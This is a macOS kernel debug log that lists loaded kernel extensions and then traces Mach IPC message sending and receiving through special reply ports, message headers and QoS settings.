	\|IO!S!F 2.1
	\|IOUSBHost!F 1.2
	>!UHostMergeProperties 1.2
	>usb.!UCommon 1.0
	>!ABusPower!C 1.0
	\|CoreAnalytics!F 1
	>!AMobileFileIntegrity 1.0.5
	@kext.CoreTrust 1
	\|IOTimeSync!F 840.3
	\|IONetworking!F 3.4
	\|IOReport!F 47
	>!AACPIPlatform 6.1
	>!ASMC 3.1.9
	>watchdog 1
	\|IOPCI!F 2.9
	\|IOACPI!F 1.4
	@kec.pthread 1
	@kec.corecrypto 1.0
	@kec.Libm 1
	entered 10
	In ipc_port_adjust_special_reply_port_locked:port=0xffffff80291ae850 obj=0 state=0
	kn=0 flags=4 get_turnstile=no
	entered 20
	Sending a message
	start of ipc_kmsg_copyin_header
	after ipc right copy in: dest=0xffffff8023e48618 reply=0
	ipc_kmsg_set_qos kmsg=0xffffff8029436200 options=31 override=0 reply=0x0 dest=0xffffff8023e48618 ip_valid=no msgh_bits=80110011
	ipc_kmsg_copyin header:
	00000034
	80110011
	0xffffff8023e48618
	0x0
	0x0
	00000100
	entered 30
	Sending a message
	start of ipc_kmsg_copyin_header
	after ipc right copy in: dest=0xffffff8023e48618 reply=0
	ipc_kmsg_set_qos kmsg=0xffffff8029436e00 options=31 override=0 reply=0x0 dest=0xffffff8023e48618 ip_valid=no msgh_bits=80110011
	ipc_kmsg_copyin header:
	00000034
	80110011
	0xffffff8023e48618
	0x0
	0x0
	00000100
	entered 40
	Receiving message! object=0xffffff80237e8d48
	mach_msg_rcv_link_special_reply_port port=0xffffff80237e8d48 dest=f0b
	mach_msg_rcv_link_special_reply_port got dest port=0xffffff8023e48618
	ipc_port_link_special_reply_port: port=0xffffff80237e8d48 dest=0xffffff8023e48618 sync=no state=0 ip_sync_inheritor_port=0
	Take a reference: 0xffffff80237e8d48 -> 0xffffff8023e48618
	ipc_port_recv_update_inheritor special port=0xffffff80237e8d48 state=1
	Sending a message
	start of ipc_kmsg_copyin_header
	after ipc right copy in: dest=0xffffff801d871e60 reply=0xffffff80217d08d8
	ipc_kmsg_set_qos kmsg=0xffffff8029436500 options=3 override=0 reply=0xffffff80217d08d8 dest=0xffffff801d871e60 ip_valid=yes msgh_bits=80001211
	ipc_kmsg_copyin header:
	0000003c
	80001211
	0xffffff801d871e60
	0xffffff80217d08d8
	0x0
	000000d9
	host_request_notification port 0xffffff80237e8d48 old 0xffffff8023e48618 entry 0xffffff801f206390
	Receiving message! object=0xffffff80217d08d8